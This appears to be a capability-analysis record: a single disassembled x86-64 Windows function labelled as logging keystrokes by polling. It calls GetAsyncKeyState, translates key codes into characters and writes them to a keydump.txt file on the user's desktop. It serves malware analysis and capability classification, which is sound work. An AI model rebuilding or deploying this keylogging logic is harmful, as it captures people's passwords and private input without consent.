Function at 0x140001290
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov ebx, ecx
xor r14d, r14d
mov dword [rsp + 0x40], r14d
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea rsi, [0x140000000]
lea rax, [rsi + 0x5648]
mov qword [rsp + 0x60], rax
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x40], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x68], rax
mov byte [rbp - 0x1c], r14b
mov byte [rbp - 0x27], r14b
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x18], r14
mov rax, qword [0x140008958]
mov qword [rbp - 0x24], rax
mov qword [rbp - 0x30], r14
mov edx, 0xa
mov r8d, 0x40
lea rcx, str.C:UsersHPDesktopkeydump.txt
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rdi, rax
test rax, rax
je 0x140001490
mov byte [rbp - 0x1c], 1
mov byte [rbp - 0x27], r14b
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rsp + 0x40]
mov qword [rsp + 0x30], r9
mov r8, qword [rsp + 0x48]
mov qword [rsp + 0x28], r8
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov qword [rbp - 0x18], rdi
mov rax, qword [0x140008958]
mov qword [rbp - 0x24], rax
mov qword [rbp - 0x30], r14
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.140002c60
mov rdi, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x14000143f
mov qword [rbp - 0x30], r14
jmp 0x14000144f
mov qword [rbp - 0x30], rdi
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140001472
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140001472
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400014af
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r8d, ax
lea ecx, [rbx - 0x27]
cmp ecx, 0x19
ja 0x140001578
test ax, ax
je 0x140001566
add ebx, 0xffffffd0
cmp ebx, 9
ja case.0x140001650.10
movsxd rax, ebx
mov ecx, dword [rsi + rax*4 + 0x1714]
add rcx, rsi
jmp rcx
lea rdx, str.__________:___.____
jmp 0x1400016aa
lea rdx, [0x14000552c]
jmp 0x1400016aa
lea rdx, [0x140005530]
jmp 0x1400016aa
lea rdx, [0x140005534]
jmp 0x1400016aa
lea rdx, [0x140005538]
jmp 0x1400016aa
lea rdx, [0x14000553c]
jmp 0x1400016aa
lea rdx, [0x140005540]
jmp 0x1400016aa
lea rdx, [0x140005504]
jmp 0x1400016aa
lea rdx, [0x140005544]
jmp 0x1400016aa
lea rdx, [0x140005548]
jmp 0x1400016aa
movzx edx, bl
lea rcx, [rsp + 0x60]
call fcn.140002a90
jmp case.0x140001650.10
lea eax, [rbx - 0x41]
cmp eax, 0x19
ja 0x14000159f
movzx edx, bl
lea eax, [rdx + 0x20]
movzx eax, al
test r8w, r8w
cmove edx, eax
lea rcx, [rsp + 0x60]
call fcn.140002a90
jmp case.0x140001650.10
add ebx, 0xffffff6e
cmp ebx, 0x4c
ja case.0x140001650.10
movsxd rax, ebx
test r8w, r8w
je 0x14000163e
movzx eax, byte [rsi + rax + 0x1768]
mov ecx, dword [rsi + rax*4 + 0x173c]
add rcx, rsi
jmp rcx
lea rdx, [0x14000554c]
jmp 0x1400016aa
lea rdx, [0x140005550]
jmp 0x1400016aa
lea rdx, [0x140005554]
jmp 0x1400016aa
lea rdx, [0x140005558]
jmp 0x1400016aa
lea rdx, [0x14000555c]
jmp 0x1400016aa
lea rdx, [0x140005560]
jmp 0x1400016aa
lea rdx, [0x140005564]
jmp 0x1400016aa
lea rdx, [0x140005568]
jmp 0x1400016aa
lea rdx, [0x14000556c]
jmp 0x1400016aa
lea rdx, [0x140005570]
jmp 0x1400016aa
movzx eax, byte [rsi + rax + 0x17e4]
mov ecx, dword [rsi + rax*4 + 0x17b8]
add rcx, rsi
jmp rcx
lea rdx, [0x140005574]
jmp 0x1400016aa
lea rdx, [0x140005578]
jmp 0x1400016aa
lea rdx, [0x14000557c]
jmp 0x1400016aa
lea rdx, [0x140005580]
jmp 0x1400016aa
lea rdx, [0x140005584]
jmp 0x1400016aa
lea rdx, [0x140005588]
jmp 0x1400016aa
lea rdx, [0x14000558c]
jmp 0x1400016aa
lea rdx, [0x140005590]
jmp 0x1400016aa
lea rdx, [0x140005594]
jmp 0x1400016aa
lea rdx, [0x140005598]
lea rcx, [rsp + 0x60]
call fcn.1400028b0
lea rcx, [rsp + 0x68]
call fcn.1400027f0
test rax, rax
jne 0x1400016e3
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rsp + 0x60]
call fcn.140001840
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140002fd0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret